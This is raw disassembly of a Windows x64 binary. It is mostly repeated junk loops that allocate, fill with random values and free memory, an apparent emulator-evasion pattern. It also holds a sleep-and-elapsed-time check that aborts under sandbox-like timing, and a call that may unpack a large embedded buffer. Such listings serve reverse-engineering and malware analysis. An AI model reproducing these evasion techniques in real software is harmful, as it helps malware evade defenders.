movss xmm0, dword [0x14009b418]
movss dword [rsp + 0x1178], xmm0
movss xmm0, dword [rsp + 0x1178]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b420]
ucomisd xmm0, xmm1
jne 0x14004662c
jp 0x14004662c
mov dword [rsp + 0x1140], 0
cmp dword [rsp + 0x1140], 0x880
jge 0x14004660a
mov ecx, 0x10d78
call fcn.140071d00
mov qword [rsp + 0x1138], rax
mov dword [rsp + 0x1134], 0
cmp dword [rsp + 0x1134], 0x17f
jge 0x1400465c8
call sub.msvcrt.dll_rand
mov ecx, 0x2d2b
cdq
idiv ecx
mov rax, qword [rsp + 0x1138]
movsxd rcx, dword [rsp + 0x1134]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b880]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0x1178]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0x1178], xmm0
mov eax, dword [rsp + 0x1134]
add eax, 1
mov dword [rsp + 0x1134], eax
jmp 0x14004654e
mov rax, qword [rsp + 0x1138]
mov qword [rsp + 0x410], rax
cmp rax, 0
je 0x1400465ef
mov rcx, qword [rsp + 0x410]
call fcn.140071ce0
jmp 0x1400465f4
mov eax, dword [rsp + 0x1140]
add eax, 1
mov dword [rsp + 0x1140], eax
jmp 0x140046520
movss xmm0, dword [0x14009b42c]
movss dword [rsp + 0x1178], xmm0
movss xmm0, dword [0x14009b428]
movss dword [rsp + 0x1178], xmm0
movss xmm0, dword [rsp + 0x1178]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b430]
ucomisd xmm0, xmm1
jne 0x140046768
jp 0x140046768
mov dword [rsp + 0x1130], 0
cmp dword [rsp + 0x1130], 0x9ed
jge 0x140046746
mov ecx, 0x20f98
call fcn.140071d00
mov qword [rsp + 0x1128], rax
mov dword [rsp + 0x1124], 0
cmp dword [rsp + 0x1124], 0xb4
jge 0x140046704
call sub.msvcrt.dll_rand
mov ecx, 0x18d8
cdq
idiv ecx
mov rax, qword [rsp + 0x1128]
movsxd rcx, dword [rsp + 0x1124]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b878]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0x1178]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0x1178], xmm0
mov eax, dword [rsp + 0x1124]
add eax, 1
mov dword [rsp + 0x1124], eax
jmp 0x14004668a
mov rax, qword [rsp + 0x1128]
mov qword [rsp + 0x408], rax
cmp rax, 0
je 0x14004672b
mov rcx, qword [rsp + 0x408]
call fcn.140071ce0
jmp 0x140046730
mov eax, dword [rsp + 0x1130]
add eax, 1
mov dword [rsp + 0x1130], eax
jmp 0x14004665c
movss xmm0, dword [str.F_I]
movss dword [rsp + 0x1178], xmm0
movss xmm0, dword [0x14009b438]
movss dword [rsp + 0x1178], xmm0
mov dword [rsp + 0x1120], 0x709c
mov dword [rsp + 0x111c], 0
cmp dword [rsp + 0x111c], 0x7a2
jge 0x140046850
mov ecx, 0x182f8
call fcn.140071d00
mov qword [rsp + 0x1110], rax
mov dword [rsp + 0x110c], 0
cmp dword [rsp + 0x110c], 0x15b
jge 0x14004680e
call sub.msvcrt.dll_rand
mov ecx, 0x21c0
cdq
idiv ecx
mov rax, qword [rsp + 0x1110]
movsxd rcx, dword [rsp + 0x110c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2e6f
cdq
idiv ecx
add edx, dword [rsp + 0x1120]
mov dword [rsp + 0x1120], edx
mov eax, dword [rsp + 0x110c]
add eax, 1
mov dword [rsp + 0x110c], eax
jmp 0x1400467ac
mov rax, qword [rsp + 0x1110]
mov qword [rsp + 0x400], rax
cmp rax, 0
je 0x140046835
mov rcx, qword [rsp + 0x400]
call fcn.140071ce0
jmp 0x14004683a
mov eax, dword [rsp + 0x111c]
add eax, 1
mov dword [rsp + 0x111c], eax
jmp 0x14004677e
mov dword [rsp + 0x1108], 0x6a86
mov dword [rsp + 0x1104], 0
cmp dword [rsp + 0x1104], 0x643
jge 0x140046938
mov ecx, 0x24510
call fcn.140071d00
mov qword [rsp + 0x10f8], rax
mov dword [rsp + 0x10f4], 0
cmp dword [rsp + 0x10f4], 0xd9
jge 0x1400468f6
call sub.msvcrt.dll_rand
mov ecx, 0x2ed6
cdq
idiv ecx
mov rax, qword [rsp + 0x10f8]
movsxd rcx, dword [rsp + 0x10f4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2e93
cdq
idiv ecx
add edx, dword [rsp + 0x1108]
mov dword [rsp + 0x1108], edx
mov eax, dword [rsp + 0x10f4]
add eax, 1
mov dword [rsp + 0x10f4], eax
jmp 0x140046894
mov rax, qword [rsp + 0x10f8]
mov qword [rsp + 0x3f8], rax
cmp rax, 0
je 0x14004691d
mov rcx, qword [rsp + 0x3f8]
call fcn.140071ce0
jmp 0x140046922
mov eax, dword [rsp + 0x1104]
add eax, 1
mov dword [rsp + 0x1104], eax
jmp 0x140046866
mov dword [rsp + 0x10f0], 0x6db4
mov dword [rsp + 0x10ec], 0
cmp dword [rsp + 0x10ec], 0x793
jge 0x140046a20
mov ecx, 0x214ec
call fcn.140071d00
mov qword [rsp + 0x10e0], rax
mov dword [rsp + 0x10dc], 0
cmp dword [rsp + 0x10dc], 0x122
jge 0x1400469de
call sub.msvcrt.dll_rand
mov ecx, 0x1499
cdq
idiv ecx
mov rax, qword [rsp + 0x10e0]
movsxd rcx, dword [rsp + 0x10dc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2fdc
cdq
idiv ecx
add edx, dword [rsp + 0x10f0]
mov dword [rsp + 0x10f0], edx
mov eax, dword [rsp + 0x10dc]
add eax, 1
mov dword [rsp + 0x10dc], eax
jmp 0x14004697c
mov rax, qword [rsp + 0x10e0]
mov qword [rsp + 0x3f0], rax
cmp rax, 0
je 0x140046a05
mov rcx, qword [rsp + 0x3f0]
call fcn.140071ce0
jmp 0x140046a0a
mov eax, dword [rsp + 0x10ec]
add eax, 1
mov dword [rsp + 0x10ec], eax
jmp 0x14004694e
mov dword [rsp + 0x10d8], 0x5a02
mov dword [rsp + 0x10d4], 0
cmp dword [rsp + 0x10d4], 0x798
jge 0x140046b08
mov ecx, 0x1cfb0
call fcn.140071d00
mov qword [rsp + 0x10c8], rax
mov dword [rsp + 0x10c4], 0
cmp dword [rsp + 0x10c4], 0xe8
jge 0x140046ac6
call sub.msvcrt.dll_rand
mov ecx, 0x382c
cdq
idiv ecx
mov rax, qword [rsp + 0x10c8]
movsxd rcx, dword [rsp + 0x10c4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2e99
cdq
idiv ecx
add edx, dword [rsp + 0x10d8]
mov dword [rsp + 0x10d8], edx
mov eax, dword [rsp + 0x10c4]
add eax, 1
mov dword [rsp + 0x10c4], eax
jmp 0x140046a64
mov rax, qword [rsp + 0x10c8]
mov qword [rsp + 0x3e8], rax
cmp rax, 0
je 0x140046aed
mov rcx, qword [rsp + 0x3e8]
call fcn.140071ce0
jmp 0x140046af2
mov eax, dword [rsp + 0x10d4]
add eax, 1
mov dword [rsp + 0x10d4], eax
jmp 0x140046a36
mov dword [rsp + 0x10c0], 0x42b7
mov dword [rsp + 0x10bc], 0
cmp dword [rsp + 0x10bc], 0x773
jge 0x140046bf0
mov ecx, 0x1b620
call fcn.140071d00
mov qword [rsp + 0x10b0], rax
mov dword [rsp + 0x10ac], 0
cmp dword [rsp + 0x10ac], 0x168
jge 0x140046bae
call sub.msvcrt.dll_rand
mov ecx, 0x34ef
cdq
idiv ecx
mov rax, qword [rsp + 0x10b0]
movsxd rcx, dword [rsp + 0x10ac]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3141
cdq
idiv ecx
add edx, dword [rsp + 0x10c0]
mov dword [rsp + 0x10c0], edx
mov eax, dword [rsp + 0x10ac]
add eax, 1
mov dword [rsp + 0x10ac], eax
jmp 0x140046b4c
mov rax, qword [rsp + 0x10b0]
mov qword [rsp + 0x3e0], rax
cmp rax, 0
je 0x140046bd5
mov rcx, qword [rsp + 0x3e0]
call fcn.140071ce0
jmp 0x140046bda
mov eax, dword [rsp + 0x10bc]
add eax, 1
mov dword [rsp + 0x10bc], eax
jmp 0x140046b1e
mov dword [rsp + 0x10a8], 0x66fd
mov dword [rsp + 0x10a4], 0
cmp dword [rsp + 0x10a4], 0x6f9
jge 0x140046cd8
mov ecx, 0x1730c
call fcn.140071d00
mov qword [rsp + 0x1098], rax
mov dword [rsp + 0x1094], 0
cmp dword [rsp + 0x1094], 0x1e6
jge 0x140046c96
call sub.msvcrt.dll_rand
mov ecx, 0x2684
cdq
idiv ecx
mov rax, qword [rsp + 0x1098]
movsxd rcx, dword [rsp + 0x1094]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1500
cdq
idiv ecx
add edx, dword [rsp + 0x10a8]
mov dword [rsp + 0x10a8], edx
mov eax, dword [rsp + 0x1094]
add eax, 1
mov dword [rsp + 0x1094], eax
jmp 0x140046c34
mov rax, qword [rsp + 0x1098]
mov qword [rsp + 0x3d8], rax
cmp rax, 0
je 0x140046cbd
mov rcx, qword [rsp + 0x3d8]
call fcn.140071ce0
jmp 0x140046cc2
mov eax, dword [rsp + 0x10a4]
add eax, 1
mov dword [rsp + 0x10a4], eax
jmp 0x140046c06
mov rax, qword [rsp + 0x1520]
mov qword [rsp + 0x3d0], rax
call qword [rsp + 0x1450]
mov ecx, eax
mov rax, qword [rsp + 0x3d0]
mov edx, 0x28
mov r8d, 0xc
mov r9d, 0x12
call rax
lea rcx, [rsp + 0x1060]
mov rdx, 0xffffffffffffffff
xor r9d, r9d
mov r8d, r9d
mov dword [rsp + 0x20], 0
call qword [rsp + 0x1330]
cmp eax, 0
jne 0x140046d49
mov dword [rsp + 0x1664], 0
jmp 0x14004e75e
cmp dword [rsp + 0x1068], 0x28
je 0x140046d67
mov dword [rsp + 0x1664], 0
jmp 0x14004e75e
call qword [rsp + 0x1308]
mov dword [rsp + 0x105c], eax
mov ecx, 0x44c
call qword [rsp + 0x1218]
call qword [rsp + 0x1308]
mov dword [rsp + 0x1058], eax
mov eax, dword [rsp + 0x1058]
sub eax, dword [rsp + 0x105c]
cmp eax, 0x3e8
jae 0x140046db8
mov dword [rsp + 0x1664], 0
jmp 0x14004e75e
movss xmm0, dword [0x14009b44c]
movss dword [rsp + 0x1054], xmm0
movss xmm0, dword [0x14009b448]
movss dword [rsp + 0x1054], xmm0
movss xmm0, dword [rsp + 0x1054]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b440]
ucomisd xmm0, xmm1
jne 0x140046f16
jp 0x140046f16
mov dword [rsp + 0x1050], 0
cmp dword [rsp + 0x1050], 0xb11
jge 0x140046ef4
mov ecx, 0x1d980
call fcn.140071d00
mov qword [rsp + 0x1048], rax
mov dword [rsp + 0x1044], 0
cmp dword [rsp + 0x1044], 0x241
jge 0x140046eb2
call sub.msvcrt.dll_rand
mov ecx, 0x314f
cdq
idiv ecx
mov rax, qword [rsp + 0x1048]
movsxd rcx, dword [rsp + 0x1044]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b870]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0x1054]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0x1054], xmm0
mov eax, dword [rsp + 0x1044]
add eax, 1
mov dword [rsp + 0x1044], eax
jmp 0x140046e38
mov rax, qword [rsp + 0x1048]
mov qword [rsp + 0x3c8], rax
cmp rax, 0
je 0x140046ed9
mov rcx, qword [rsp + 0x3c8]
call fcn.140071ce0
jmp 0x140046ede
mov eax, dword [rsp + 0x1050]
add eax, 1
mov dword [rsp + 0x1050], eax
jmp 0x140046e0a
movss xmm0, dword [0x14009b454]
movss dword [rsp + 0x1054], xmm0
movss xmm0, dword [0x14009b450]
movss dword [rsp + 0x1054], xmm0
lea rcx, [0x1400a8150]
lea rdx, [0x140073990]
mov r8d, 0x24c81
call fcn.140043010
mov dword [rsp + 0x1040], 0x6ac0
mov dword [rsp + 0x103c], 0
cmp dword [rsp + 0x103c], 0x600
jge 0x140047014
mov ecx, 0xff24
call fcn.140071d00
mov qword [rsp + 0x1030], rax
mov dword [rsp + 0x102c], 0
cmp dword [rsp + 0x102c], 0x68
jge 0x140046fd2
call sub.msvcrt.dll_rand
mov ecx, 0x1b13
cdq
idiv ecx
mov rax, qword [rsp + 0x1030]
movsxd rcx, dword [rsp + 0x102c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1ecf
cdq
idiv ecx
add edx, dword [rsp + 0x1040]
mov dword [rsp + 0x1040], edx
mov eax, dword [rsp + 0x102c]
add eax, 1
mov dword [rsp + 0x102c], eax
jmp 0x140046f73
mov rax, qword [rsp + 0x1030]
mov qword [rsp + 0x3c0], rax
cmp rax, 0
je 0x140046ff9
mov rcx, qword [rsp + 0x3c0]
call fcn.140071ce0
jmp 0x140046ffe
mov eax, dword [rsp + 0x103c]
add eax, 1
mov dword [rsp + 0x103c], eax
jmp 0x140046f45
mov dword [rsp + 0x1028], 0x4245
mov dword [rsp + 0x1024], 0
cmp dword [rsp + 0x1024], 0x558
jge 0x1400470fc
mov ecx, 0xd864
call fcn.140071d00
mov qword [rsp + 0x1018], rax
mov dword [rsp + 0x1014], 0
cmp dword [rsp + 0x1014], 0x145
jge 0x1400470ba
call sub.msvcrt.dll_rand
mov ecx, 0x20e6
cdq
idiv ecx
mov rax, qword [rsp + 0x1018]
movsxd rcx, dword [rsp + 0x1014]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x36a9
cdq
idiv ecx
add edx, dword [rsp + 0x1028]
mov dword [rsp + 0x1028], edx
mov eax, dword [rsp + 0x1014]
add eax, 1
mov dword [rsp + 0x1014], eax
jmp 0x140047058
mov rax, qword [rsp + 0x1018]
mov qword [rsp + 0x3b8], rax
cmp rax, 0
je 0x1400470e1
mov rcx, qword [rsp + 0x3b8]
call fcn.140071ce0
jmp 0x1400470e6
mov eax, dword [rsp + 0x1024]
add eax, 1
mov dword [rsp + 0x1024], eax
jmp 0x14004702a
mov dword [rsp + 0x1010], 0x4d58
mov dword [rsp + 0x100c], 0
cmp dword [rsp + 0x100c], 0x4fa
jge 0x1400471e4
mov ecx, 0x1dc0c
call fcn.140071d00
mov qword [rsp + 0x1000], rax
mov dword [rsp + 0xffc], 0
cmp dword [rsp + 0xffc], 0x12c
jge 0x1400471a2
call sub.msvcrt.dll_rand
mov ecx, 0x3003
cdq
idiv ecx
mov rax, qword [rsp + 0x1000]
movsxd rcx, dword [rsp + 0xffc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x315b
cdq
idiv ecx
add edx, dword [rsp + 0x1010]
mov dword [rsp + 0x1010], edx
mov eax, dword [rsp + 0xffc]
add eax, 1
mov dword [rsp + 0xffc], eax
jmp 0x140047140
mov rax, qword [rsp + 0x1000]
mov qword [rsp + 0x3b0], rax
cmp rax, 0
je 0x1400471c9
mov rcx, qword [rsp + 0x3b0]
call fcn.140071ce0
jmp 0x1400471ce
mov eax, dword [rsp + 0x100c]
add eax, 1
mov dword [rsp + 0x100c], eax
jmp 0x140047112
mov dword [rsp + 0xff8], 0x3636
mov dword [rsp + 0xff4], 0
cmp dword [rsp + 0xff4], 0x572
jge 0x1400472cc
mov ecx, 0x1e6b8
call fcn.140071d00
mov qword [rsp + 0xfe8], rax
mov dword [rsp + 0xfe4], 0
cmp dword [rsp + 0xfe4], 0x11d
jge 0x14004728a
call sub.msvcrt.dll_rand
mov ecx, 0x26de
cdq
idiv ecx
mov rax, qword [rsp + 0xfe8]
movsxd rcx, dword [rsp + 0xfe4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2644
cdq
idiv ecx
add edx, dword [rsp + 0xff8]
mov dword [rsp + 0xff8], edx
mov eax, dword [rsp + 0xfe4]
add eax, 1
mov dword [rsp + 0xfe4], eax
jmp 0x140047228
mov rax, qword [rsp + 0xfe8]
mov qword [rsp + 0x3a8], rax
cmp rax, 0
je 0x1400472b1
mov rcx, qword [rsp + 0x3a8]
call fcn.140071ce0
jmp 0x1400472b6
mov eax, dword [rsp + 0xff4]
add eax, 1
mov dword [rsp + 0xff4], eax
jmp 0x1400471fa
mov dword [rsp + 0xfe0], 0x21e4
mov dword [rsp + 0xfdc], 0
cmp dword [rsp + 0xfdc], 0x58e
jge 0x1400473b1
mov ecx, 0xc0ac
call fcn.140071d00
mov qword [rsp + 0xfd0], rax
mov dword [rsp + 0xfcc], 0
cmp dword [rsp + 0xfcc], 0x71
jge 0x14004736f
call sub.msvcrt.dll_rand
mov ecx, 0x189e
cdq
idiv ecx
mov rax, qword [rsp + 0xfd0]
movsxd rcx, dword [rsp + 0xfcc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x24f3
cdq
idiv ecx
add edx, dword [rsp + 0xfe0]
mov dword [rsp + 0xfe0], edx
mov eax, dword [rsp + 0xfcc]
add eax, 1
mov dword [rsp + 0xfcc], eax
jmp 0x140047310
mov rax, qword [rsp + 0xfd0]
mov qword [rsp + 0x3a0], rax
cmp rax, 0
je 0x140047396
mov rcx, qword [rsp + 0x3a0]
call fcn.140071ce0
jmp 0x14004739b
mov eax, dword [rsp + 0xfdc]
add eax, 1
mov dword [rsp + 0xfdc], eax
jmp 0x1400472e2
mov dword [rsp + 0xfc8], 0x37f6
mov dword [rsp + 0xfc4], 0
cmp dword [rsp + 0xfc4], 0x56e
jge 0x140047499
mov ecx, 0xbb08
call fcn.140071d00
mov qword [rsp + 0xfb8], rax
mov dword [rsp + 0xfb4], 0
cmp dword [rsp + 0xfb4], 0x1e5
jge 0x140047457
call sub.msvcrt.dll_rand
mov ecx, 0x15c8
cdq
idiv ecx
mov rax, qword [rsp + 0xfb8]
movsxd rcx, dword [rsp + 0xfb4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1ac0
cdq
idiv ecx
add edx, dword [rsp + 0xfc8]
mov dword [rsp + 0xfc8], edx
mov eax, dword [rsp + 0xfb4]
add eax, 1
mov dword [rsp + 0xfb4], eax
jmp 0x1400473f5
mov rax, qword [rsp + 0xfb8]
mov qword [rsp + 0x398], rax
cmp rax, 0
je 0x14004747e
mov rcx, qword [rsp + 0x398]
call fcn.140071ce0
jmp 0x140047483
mov eax, dword [rsp + 0xfc4]
add eax, 1
mov dword [rsp + 0xfc4], eax
jmp 0x1400473c7
movss xmm0, dword [0x14009b464]
movss dword [rsp + 0xfb0], xmm0
movss xmm0, dword [0x14009b460]
movss dword [rsp + 0xfb0], xmm0
movss xmm0, dword [rsp + 0xfb0]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b458]
ucomisd xmm0, xmm1
jne 0x1400475f7
jp 0x1400475f7
mov dword [rsp + 0xfac], 0
cmp dword [rsp + 0xfac], 0xec8
jge 0x1400475d5
mov ecx, 0x10c20
call fcn.140071d00
mov qword [rsp + 0xfa0], rax
mov dword [rsp + 0xf9c], 0
cmp dword [rsp + 0xf9c], 0x265
jge 0x140047593
call sub.msvcrt.dll_rand
mov ecx, 0x2256
cdq
idiv ecx
mov rax, qword [rsp + 0xfa0]
movsxd rcx, dword [rsp + 0xf9c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b868]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xfb0]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xfb0], xmm0
mov eax, dword [rsp + 0xf9c]
add eax, 1
mov dword [rsp + 0xf9c], eax
jmp 0x140047519
mov rax, qword [rsp + 0xfa0]
mov qword [rsp + 0x390], rax
cmp rax, 0
je 0x1400475ba
mov rcx, qword [rsp + 0x390]
call fcn.140071ce0
jmp 0x1400475bf
mov eax, dword [rsp + 0xfac]
add eax, 1
mov dword [rsp + 0xfac], eax
jmp 0x1400474eb
movss xmm0, dword [0x14009b46c]
movss dword [rsp + 0xfb0], xmm0
movss xmm0, dword [0x14009b468]
movss dword [rsp + 0xfb0], xmm0
lea rax, [0x140008600]
mov qword [rsp + 0xf90], rax
mov byte [rsp + 0xf8f], 0
mov dword [rsp + 0xf88], 0x2158
mov dword [rsp + 0xf84], 0
cmp dword [rsp + 0xf84], 0x468
jge 0x1400476f6
mov ecx, 0x1e970
call fcn.140071d00
mov qword [rsp + 0xf78], rax
mov dword [rsp + 0xf74], 0
cmp dword [rsp + 0xf74], 0x119
jge 0x1400476b4
call sub.msvcrt.dll_rand
mov ecx, 0x2c6a
cdq
idiv ecx
mov rax, qword [rsp + 0xf78]
movsxd rcx, dword [rsp + 0xf74]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x15e4
cdq
idiv ecx
add edx, dword [rsp + 0xf88]
mov dword [rsp + 0xf88], edx
mov eax, dword [rsp + 0xf74]
add eax, 1
mov dword [rsp + 0xf74], eax
jmp 0x140047652
mov rax, qword [rsp + 0xf78]
mov qword [rsp + 0x388], rax
cmp rax, 0
je 0x1400476db
mov rcx, qword [rsp + 0x388]
call fcn.140071ce0
jmp 0x1400476e0
mov eax, dword [rsp + 0xf84]
add eax, 1
mov dword [rsp + 0xf84], eax
jmp 0x140047624
mov dword [rsp + 0xf70], 0x2f1f
mov dword [rsp + 0xf6c], 0
cmp dword [rsp + 0xf6c], 0x4b6
jge 0x1400477de
mov ecx, 0xd4a0
call fcn.140071d00
mov qword [rsp + 0xf60], rax
mov dword [rsp + 0xf5c], 0
cmp dword [rsp + 0xf5c], 0x102
jge 0x14004779c
call sub.msvcrt.dll_rand
mov ecx, 0x22c9
cdq
idiv ecx
mov rax, qword [rsp + 0xf60]
movsxd rcx, dword [rsp + 0xf5c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2876
cdq
idiv ecx
add edx, dword [rsp + 0xf70]
mov dword [rsp + 0xf70], edx
mov eax, dword [rsp + 0xf5c]
add eax, 1
mov dword [rsp + 0xf5c], eax
jmp 0x14004773a
mov rax, qword [rsp + 0xf60]
mov qword [rsp + 0x380], rax
cmp rax, 0
je 0x1400477c3
mov rcx, qword [rsp + 0x380]
call fcn.140071ce0
jmp 0x1400477c8
mov eax, dword [rsp + 0xf6c]
add eax, 1
mov dword [rsp + 0xf6c], eax
jmp 0x14004770c
mov dword [rsp + 0xf58], 0x21b9
mov dword [rsp + 0xf54], 0
cmp dword [rsp + 0xf54], 0x7bb
jge 0x1400478c6
mov ecx, 0xc90c
call fcn.140071d00
mov qword [rsp + 0xf48], rax
mov dword [rsp + 0xf44], 0
cmp dword [rsp + 0xf44], 0x1df
jge 0x140047884
call sub.msvcrt.dll_rand
mov ecx, 0x1d96
cdq
idiv ecx
mov rax, qword [rsp + 0xf48]
movsxd rcx, dword [rsp + 0xf44]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x35b1
cdq
idiv ecx
add edx, dword [rsp + 0xf58]
mov dword [rsp + 0xf58], edx
mov eax, dword [rsp + 0xf44]
add eax, 1
mov dword [rsp + 0xf44], eax
jmp 0x140047822
mov rax, qword [rsp + 0xf48]
mov qword [rsp + 0x378], rax
cmp rax, 0
je 0x1400478ab
mov rcx, qword [rsp + 0x378]
call fcn.140071ce0
jmp 0x1400478b0
mov eax, dword [rsp + 0xf54]
add eax, 1
mov dword [rsp + 0xf54], eax
jmp 0x1400477f4
mov dword [rsp + 0xf40], 0x1357
mov dword [rsp + 0xf3c], 0
cmp dword [rsp + 0xf3c], 0x7a0
jge 0x1400479ae
mov ecx, 0xfcb0
call fcn.140071d00
mov qword [rsp + 0xf30], rax
mov dword [rsp + 0xf2c], 0
cmp dword [rsp + 0xf2c], 0x199
jge 0x14004796c
call sub.msvcrt.dll_rand
mov ecx, 0x22ed
cdq
idiv ecx
mov rax, qword [rsp + 0xf30]
movsxd rcx, dword [rsp + 0xf2c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x364d
cdq
idiv ecx
add edx, dword [rsp + 0xf40]
mov dword [rsp + 0xf40], edx
mov eax, dword [rsp + 0xf2c]
add eax, 1
mov dword [rsp + 0xf2c], eax
jmp 0x14004790a
mov rax, qword [rsp + 0xf30]
mov qword [rsp + 0x370], rax
cmp rax, 0
je 0x140047993
mov rcx, qword [rsp + 0x370]
call fcn.140071ce0
jmp 0x140047998
mov eax, dword [rsp + 0xf3c]
add eax, 1
mov dword [rsp + 0xf3c], eax
jmp 0x1400478dc
mov dword [rsp + 0xf28], 0xb23
mov dword [rsp + 0xf24], 0
cmp dword [rsp + 0xf24], 0x7c4
jge 0x140047a96
mov ecx, 0x16b70
call fcn.140071d00
mov qword [rsp + 0xf18], rax
mov dword [rsp + 0xf14], 0
cmp dword [rsp + 0xf14], 0x10b
jge 0x140047a54
call sub.msvcrt.dll_rand
mov ecx, 0x3092
cdq
idiv ecx
mov rax, qword [rsp + 0xf18]
movsxd rcx, dword [rsp + 0xf14]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3688
cdq
idiv ecx
add edx, dword [rsp + 0xf28]
mov dword [rsp + 0xf28], edx
mov eax, dword [rsp + 0xf14]
add eax, 1
mov dword [rsp + 0xf14], eax
jmp 0x1400479f2
mov rax, qword [rsp + 0xf18]
mov qword [rsp + 0x368], rax
cmp rax, 0
je 0x140047a7b
mov rcx, qword [rsp + 0x368]
call fcn.140071ce0
jmp 0x140047a80
mov eax, dword [rsp + 0xf24]
add eax, 1
mov dword [rsp + 0xf24], eax
jmp 0x1400479c4
mov dword [rsp + 0xf10], 0x1cfc
mov dword [rsp + 0xf0c], 0
cmp dword [rsp + 0xf0c], 0x7b0
jge 0x140047b7e
mov ecx, 0x22930
call fcn.140071d00
mov qword [rsp + 0xf00], rax
mov dword [rsp + 0xefc], 0
cmp dword [rsp + 0xefc], 0x89
jge 0x140047b3c
call sub.msvcrt.dll_rand
mov ecx, 0x1dae
cdq
idiv ecx
mov rax, qword [rsp + 0xf00]
movsxd rcx, dword [rsp + 0xefc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x202d
cdq
idiv ecx
add edx, dword [rsp + 0xf10]
mov dword [rsp + 0xf10], edx
mov eax, dword [rsp + 0xefc]
add eax, 1
mov dword [rsp + 0xefc], eax
jmp 0x140047ada
mov rax, qword [rsp + 0xf00]
mov qword [rsp + 0x360], rax
cmp rax, 0
je 0x140047b63
mov rcx, qword [rsp + 0x360]
call fcn.140071ce0
jmp 0x140047b68
mov eax, dword [rsp + 0xf0c]
add eax, 1
mov dword [rsp + 0xf0c], eax
jmp 0x140047aac
movss xmm0, dword [0x14009b47c]
movss dword [rsp + 0xef8], xmm0
movss xmm0, dword [0x14009b478]
movss dword [rsp + 0xef8], xmm0
movss xmm0, dword [rsp + 0xef8]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b470]
ucomisd xmm0, xmm1
jne 0x140047cdc
jp 0x140047cdc
mov dword [rsp + 0xef4], 0
cmp dword [rsp + 0xef4], 0x160e
jge 0x140047cba
mov ecx, 0x148f4
call fcn.140071d00
mov qword [rsp + 0xee8], rax
mov dword [rsp + 0xee4], 0
cmp dword [rsp + 0xee4], 0x2a4
jge 0x140047c78
call sub.msvcrt.dll_rand
mov ecx, 0x2468
cdq
idiv ecx
mov rax, qword [rsp + 0xee8]
movsxd rcx, dword [rsp + 0xee4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b860]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xef8]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xef8], xmm0
mov eax, dword [rsp + 0xee4]
add eax, 1
mov dword [rsp + 0xee4], eax
jmp 0x140047bfe
mov rax, qword [rsp + 0xee8]
mov qword [rsp + 0x358], rax
cmp rax, 0
je 0x140047c9f
mov rcx, qword [rsp + 0x358]
call fcn.140071ce0
jmp 0x140047ca4
mov eax, dword [rsp + 0xef4]
add eax, 1
mov dword [rsp + 0xef4], eax
jmp 0x140047bd0
movss xmm0, dword [0x14009b484]
movss dword [rsp + 0xef8], xmm0
movss xmm0, dword [0x14009b480]
movss dword [rsp + 0xef8], xmm0
movss xmm0, dword [rsp + 0xef8]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b488]
ucomisd xmm0, xmm1
jne 0x140047e18
jp 0x140047e18
mov dword [rsp + 0xee0], 0
cmp dword [rsp + 0xee0], 0xddc
jge 0x140047df6
mov ecx, 0x215b4
call fcn.140071d00
mov qword [rsp + 0xed8], rax
mov dword [rsp + 0xed4], 0
cmp dword [rsp + 0xed4], 0x342
jge 0x140047db4
call sub.msvcrt.dll_rand
mov ecx, 0x2d88
cdq
idiv ecx
mov rax, qword [rsp + 0xed8]
movsxd rcx, dword [rsp + 0xed4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
